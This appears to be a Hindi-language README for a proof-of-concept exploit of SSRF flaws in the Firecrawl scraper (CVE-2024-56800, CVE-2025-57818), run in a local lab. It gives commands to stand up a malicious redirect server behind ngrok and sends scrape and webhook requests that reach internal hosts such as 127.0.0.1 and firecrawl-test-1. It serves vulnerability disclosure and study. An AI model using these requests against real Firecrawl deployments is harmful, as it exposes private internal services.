cyhe50/cve-2024-56800-pocFirecrawl वेब स्क्रैपर में SSRF कमजोरियों (CVE-2024-56800, CVE-2025-57818) का प्रदर्शन करने वाला प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जिसमें सेल्फ-होस्टेड सेटअप और दुर्भावनापूर्ण रीडायरेक्ट सर्वर शामिल है।
https://nvd.nist.gov/vuln/detail/CVE-2024-56800
https://github.com/firecrawl/firecrawl/commit/4d1f92f4c8c36403022428285a03621fd90d62ec
https://github.com/firecrawl/firecrawl/security/advisories/GHSA-vjp8-2wgg-p734
Firecrawl एक वेब स्क्रेपर है जो उपयोगकर्ताओं को किसी वेबपेज की सामग्री निकालने की अनुमति देता है। 1.1.1 से पहले के संस्करणों में सर्वर-साइड रिक्वेस्ट फोर्जरी (SSRF) कमजोरी है। स्क्रेपर इंजन वेबसाइटों को किसी भी स्थानीय IP पते पर रीडायरेक्ट करने की अनुमति देता है, जिससे निजी सर्वर में संसाधनों का रिसाव होता है।
यह apps/api/src/controllers/v1/scrape.ts के अंतर्गत है।
उपयोगकर्ता इनपुट सैनिटाइज़ नहीं किया जाता है और इसे निजी IP पता होने की अनुमति है। जब यह 127.0.0.1 का उपयोग करता है, तो यह वास्तव में firecrawl के स्थानीय नेटवर्क पर रीडायरेक्ट करता है, जिससे firecrawl सर्वर के आंतरिक सर्वर का रिसाव होता है।
git clone https://github.com/cyhe50/cve-2024-56800-poc
cd cve-2024-56800-poc
cd scraper/firecrawl-1.0.0
docker-compose up -d
cd ../..
cd malicious_server
docker build -t malicious_server .
docker run -p 8000:80 malicious_server
इसका कारण यह है कि firecrawl सर्वर निजी URL को ब्लॉक करता है। यदि आप सर्वर को सार्वजनिक नहीं करना चाहते हैं, तो मेरा मानना है कि आप सीधे firecrawl में सत्यापन को कमेंट आउट कर सकते हैं।
यहां मैंने केवल वही लिखा है जो मैंने किया। ngrok:
ngrok http 8000
curl: (सही URL पेस्ट करना याद रखें)
curl -X POST http://localhost:3002/v1/scrape \
-H 'Content-Type: application/json' \
-d '{
"url": "https://xxxxx.ngrok-free.app",
"formats": ["markdown", "html"]
}'
scraper.py
cd scraper
!! Dockerfile खोलें और URL को उस URL में बदलें जो आपने अभी जनरेट किया है
docker build -t scraper .
docker run scraper
जब स्वयं-होस्टेड firecrawl सर्वर शुरू किया जाता है, तो 5 सेवाएं सक्षम होती हैं, उनमें से एक firecrawl-test-1 है (अधिक विवरण docker ps द्वारा देखें)।
चूंकि ये सभी 5 सेवाएं एक ही नेटवर्क में सेट हैं, वे उस कंटेनर नाम का उपयोग करके एक-दूसरे से कनेक्ट कर सकते हैं जिससे वे कनेक्ट करना चाहते हैं।
उदा. (firecrawl-test-1 से कनेक्ट करें)
स्थानीय मशीन पर सीधे curl चलाना:
curl http://firecrawl-test-1:80
या
curl http://localhost:80
इनमें से कोई भी काम नहीं करना चाहिए क्योंकि वे firecrawl-test-1 के समान नेटवर्क में नहीं हैं।
हालांकि, firecrawl-api-1 में एक्सेस करना:
docker exec -it firecrawl-api-1 /bin/bash
curl http:firecrawl-test-1:80
या
curl http://localhost:80
इससे सही डेटा आउटपुट होना चाहिए क्योंकि वे एक ही नेटवर्क में हैं।
दुर्भावनापूर्ण सर्वर में, यह http://firecrawl-test-1:80 पर रीडायरेक्ट करता है, जो केवल firecrawl नेटवर्क के लिए काम करना चाहिए। इसलिए, firecrawl-test-1 सर्वर तक पहुंचने की सफलता का मतलब है कि स्क्रेपर अपने आंतरिक सर्वर पर सफलतापूर्वक रीडायरेक्ट हुआ। यह दिखाता है कि SSRF निजी सर्वर में संसाधनों को उजागर करने के लिए कैसे काम करता है।
यह भी SSRF कमजोरी है।
यह क्रॉल API में होता है जहां पैरामीटर webhook सैनिटाइज़ नहीं किया जाता है, हमलावर firecrawl के स्थानीय नेटवर्क पर POST अनुरोध भेज सकते हैं।
यह apps/api/src/services/webhook.ts के अंतर्गत है। समस्या यह है कि इनपुट webhookUrl सैनिटाइज़ नहीं किया गया है।
वेबहुक निर्दिष्ट URL पर POST अनुरोध भेजेगा। यहां हमने इसे 127.0.0.1 पर सेट किया और यह आंतरिक सर्वर से सफलतापूर्वक जुड़ गया।
curl -X POST http://localhost:3002/v1/crawl \
-H 'Content-Type: application/json' \
-d '{
"url": "https://example.com",
"webhook": "http://127.0.0.1:80"
}'
आंतरिक सर्वर ने POST अनुरोध सफलतापूर्वक प्राप्त किया
